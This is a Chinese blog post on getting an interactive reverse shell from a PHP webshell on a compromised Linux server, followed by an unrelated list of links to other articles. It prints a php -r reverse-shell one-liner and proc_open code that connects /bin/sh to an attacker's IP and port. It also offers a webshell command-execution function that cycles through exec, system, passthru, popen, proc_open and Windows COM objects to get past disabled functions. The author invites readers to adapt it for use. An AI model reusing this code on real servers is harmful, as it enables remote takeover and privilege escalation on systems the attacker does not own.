php webshell下直接反弹shell(不借助任何其他语言)
linux下,有时候拿到webshell需要提权,提权必须要得到一个交互式的shell。
我看了一下常用的php webshell,对于命令执行、反弹shell都没有完善的方式。很多webshell里都没有proc_popen、popen这两种方式,特别是proc_popen,比如phpspy。
在我收集的反弹shell集合(http://tool.p1ng.pw/getshell.html)中,有一个方法,就是在命令行中输入:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
但是有个问题,如果在webshell里执行如上代码的话,会把系统的标准输入输出重定向到/bin/sh里,导致php-fpm直接502,然后弹的shell也会瞬间掉了,这个方式比较粗鲁。而我的思路是:我只希望把我新创建的进程(/bin/sh)的标准输入输出重定向到socket中,不去动系统的东西。
当系统没有禁用proc_popen的时候,我们是可以借助proc_popen轻松反弹这样的一个shell的。不需要任何其他语言的支持,php足矣。
$sock = fsockopen($ip, $port);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
其中$ip是反弹的ip,$port是反弹的端口,这也是我个人版webshell里一个小功能:
反弹shell的时候web页面会卡死,因为php没有异步的函数,默认也不支持多线程,所以卡住这个现象很正常,不影响反弹shell。
不过我试了,在windows下似乎不能完美运行。不知道是我环境问题(杀毒软件等)还是代码问题。silic的大马中有一个windows反弹的功能,windows下可以使用:
具体代码请自行到silic webshell中查看。我没有试过,不知道成功率怎么样。
另附我的webshell中执行命令的函数,各位看官自行修改后可以使用。有可以补充的,欢迎告诉我呀~
function exec_comm($cmd, &$type = '', &$suc = TRUE)
{
set_error_handler("customError");
$re = false;
if (empty($cmd)) return '执行结果';
if (empty($type)){
if(function_exists('exec')){
@exec($cmd, $re);
$re = join("n", $re);
$type = 'exec';
}else if(function_exists('shell_exec') && ($re = shell_exec($cmd))){
$type = 'shell_exec';
}else if(function_exists('system')){
@ob_start();system($cmd);$re=@get_ob_contents();@ob_end_clean();
$type = 'system';
}else if(function_exists('passthru')){
@ob_start();passthru($cmd);$re=@get_ob_contents();@ob_end_clean();
$type = 'passthru';
}else if(is_resource($f = popen($cmd,"r"))){
while(!@feof($f)){$re .= @fread($f,1024);}@pclose($f);
$type = 'popen';
}else if(function_exists('proc_open')){
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($cmd, $descriptorspec, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], "{$cmd}rn");
fwrite($pipes[0], "exitrn");
fclose($pipes[0]);
// 读取输出
while (!feof($pipes[1])) {
$re .= fgets($pipes[1], 1024);
}
fclose($pipes[1]);
while (!feof($pipes[2])) {
$re .= fgets($pipes[2], 1024);
}
fclose($pipes[2]);
proc_close($process);
}
}
}else if($type == 'wscript'){
$s= new COM('wscript.shell');
$exec = $s->exec($cmd);
$stdout = $exec->StdOut();
$re = $stdout->ReadAll();
}else if($type == 'application'){
$exe = gpc('exe', 'post', 'c:/windows/system32/cmd.exe');
$shell= new COM('Shell.Application');
$shell->ShellExecute($exe,$cmd);
$re = "请查看{$cmd}中输入文件内容n";
}
if ($re === false){ $re = '命令执行可能失败,可能是执行函数被禁用或执行无回显'; $suc = FALSE;}
return $re;
}
- 初识MongoDB分片
- Linux上安装Redis
- SpringBoot+WebSocket实现在线聊天(二)
- SpringBoot中使用Freemarker构建邮件模板
- SpringBoot中发送QQ邮件
- SpringBoot中使用POI,快速实现Excel导入导出
- 代理技术 | 重磅,代理服务器背后的故事(正向、反向代理)
- SpringBoot中自定义参数绑定
- ElementUI中tree控件踩坑记
- 一个隐马尔科夫模型的应用实例:中文分词
- 使用MyBatis轻松实现递归查询与存储过程调用
- Config Server——使用Spring Cloud Bus自动刷新配置
- Config Server——配置内容的加密与解密 详解
- 使用 HTML5 WebSocket 构建实时 Web 应用
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- K8S 环境下的使用 ConfigMap 进行远程配置
- 腾讯云语音识别python-sdk使用笔记
- TKE部署ES如何配置参数vm.max_map_count
- Jquery validate remote 验证数据唯一
- MySQL 案例:乱码,字符集与错入错出的 MySQL
- Jenkins常用插件Copy Artifact的使用
- 聊聊dubbo-go的roundRobinLoadBalance
- 腾讯云录音文件识别请求和结果查询
- 【Kubernetes】kubectl top 如何使用
- js数组方法,常用数组Api的基本使用
- java jsp实现网络考试系统(mysql)
- 实操:数据万象语音转文字
- python智能图片识别系统(图片切割、图片识别、区别标识)
- 【Kubernetes】部署 metrics-server 后无法使用 top 命令
- 使用java计算数组方差和标准差